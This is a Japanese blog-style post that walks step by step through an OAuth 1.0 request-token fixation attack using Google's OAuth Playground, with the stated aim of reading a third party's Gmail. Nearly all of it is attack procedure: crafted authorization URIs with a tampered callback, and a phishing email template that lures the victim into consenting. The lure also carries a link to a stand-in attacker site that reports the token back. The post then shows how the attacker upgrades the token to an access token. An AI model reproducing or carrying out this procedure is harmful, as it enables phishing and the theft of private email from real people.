今日は、Google PlayGroundを使ってOAuthのSecurity Holeをテストしてみます。
■ 目的
第3者のgmailの内容をいただく
■ 準備
OAuth Playgroundの動作確認
□ Authrization URIの確認
0. http://www.google.comにアクセスし、Googleをログアウト
1. http://googlecodesamples.com/oauth_playground/index.phpにアクセス
2. "1 Choose your Scope(s)"でGMailを選択
3. "Get the Token"のところにある"3 Get a Request Token:" のボタンを押す
→ Request Token取得が完了します。
4. "Get the Token"のところにある"4 Authorize the Request Token:" のボタンを押す
→www.google.comにリダイレクトされます。
このときのURIは以下のようになります。
https://www.google.com/accounts/OAuthAuthorizeToken
?oauth_token=(Request Tokenの値) # 認可を要求しているRequest Token
&oauth_callback=http%3A%2F%2Fgooglecodesamples.com%2Foauth_playground%2Findex.php%3Fkey%3Dgooglecodesamples.com%26token_secret%3D(URLエンコードされたRequest Token Secret)%26consumer_secret%3D%26token%3D(URLエンコードされたRequest Token)%26endpoint%3Dhttps%253A%252F%252Fwww.google.com%252Faccounts%252FOAuthAuthorizeToken
&hd=default
このようなURLをターゲットに踏ませることで、攻撃者のためにConsumerが取得したRequest Tokenに同意させることができそうです。
5. www.google.comにログインして同意。
→以下のURIにリダイレクトされることを確認します。
http://googlecodesamples.com/oauth_playground/index.php?key=googlecodesamples.com&token_secret=(Request Token Secret)&consumer_secret=&token=(Request Token)&endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2FOAuthAuthorizeToken&oauth_token=(Request Token)
認可完了後、攻撃者はこのURLを開くことで自分がRequest Tokenに同意したかのように振る舞うことができます。
これで準備完了です。
■ 知り合いのGMailの中身をのぞいてみるテスト
1. (攻撃者)"Authrization URIの確認"の手順を3まで行い、Request Token(と今回はRequest Token Secretも)が画面上に表示されるので、メモ帳にコピペしておく
oauth_token:abcde
oauth_token_secret:fghij
2. (攻撃者)"Authrization URIの確認"の手順4を行い、認可画面まで進む
3. (攻撃者)ターゲットに次のようなあやしいメールを送る
OAuthの勉強をするのにわかりやすいOAuth PlayGroundというツールがあります。
http://googlecodesamples.com/oauth_playground/
わかりやすい例として、Gmailを取得するまでのテストを紹介するので、試してみてください。
https://www.google.com/accounts/OAuthAuthorizeToken
?oauth_token=abcde
&oauth_callback=http%3A%2F%2Fgooglecodesamples.com%2F(※ダミー認可URL)
http://googlecodesamples.com/のトップページに遷移してしまうなど、うまくいかなかった場合は以下のURLで報告をお願いします。
http://badattacker.com//oauthplayground/help?oauth_token=abcde (※ダミーサイトURL)
4. (ターゲット)メールに含まれたダミー認可URLをクリックする。
→ログイン後、googlecodesamples.comへのアクセス許可を求められる。
5. (ターゲット)googlecodesamples.comがOAuth PlayGroundのURLだということ、GMail取得までのテストということで同意する。
→callback URLを改ざん(※)しているため、OAuth PlayGroundではなく、googlecodesamples.comのトップにリダイレクトされる
※callback URLを改ざんしたのはOAuth PlayGroundに犠牲者のセッションのアクセスを残したくなかったからです。
6. (ターゲット)メールにあった"うまくいかなかった場合のURL"をクリックする
→ダミーサイトURLを通じて、攻撃者はターゲットがabcdeというRequest Tokenに対して同意したことを知る
7.(攻撃者)正しいcallback URLをブラウザに入力
http://googlecodesamples.com/oauth_playground/index.php
?key=googlecodesamples.com
&token_secret=fghij
&consumer_secret=
&token=abcde
&endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2FOAuthAuthorizeToken
&oauth_token=abcde
→OAuth PlayGroundはRequest Tokenが認可済みと判断
8. (攻撃者)OAuth PlayGroundの"Get the Token"にある"Upgrade to an Access Token:"のボタンをクリックする
→犠牲者のAccess Tokenを取得できる
→犠牲者のGmailの内容にアクセスできる
■ 結果
こんな感じでできるっぽいです。
攻撃者は、以下の点さえ頑張ればRequest Tokenに第3者の認可をさせてリソースにアクセスできます。
- 犠牲者にリンクをクリックさせる
- 犠牲者が同意したことをなんとかして知る
今回の例ではメール+ダミーサイト構築でできると思いかいてみました。
実際にやってみるときは、PCに2つ以上のブラウザがあれば、検証できると思います。
本件に関して自分のGMailのデータが盗まれたという報告があっても責任はとれませんので、悪い人も悪用しないでください。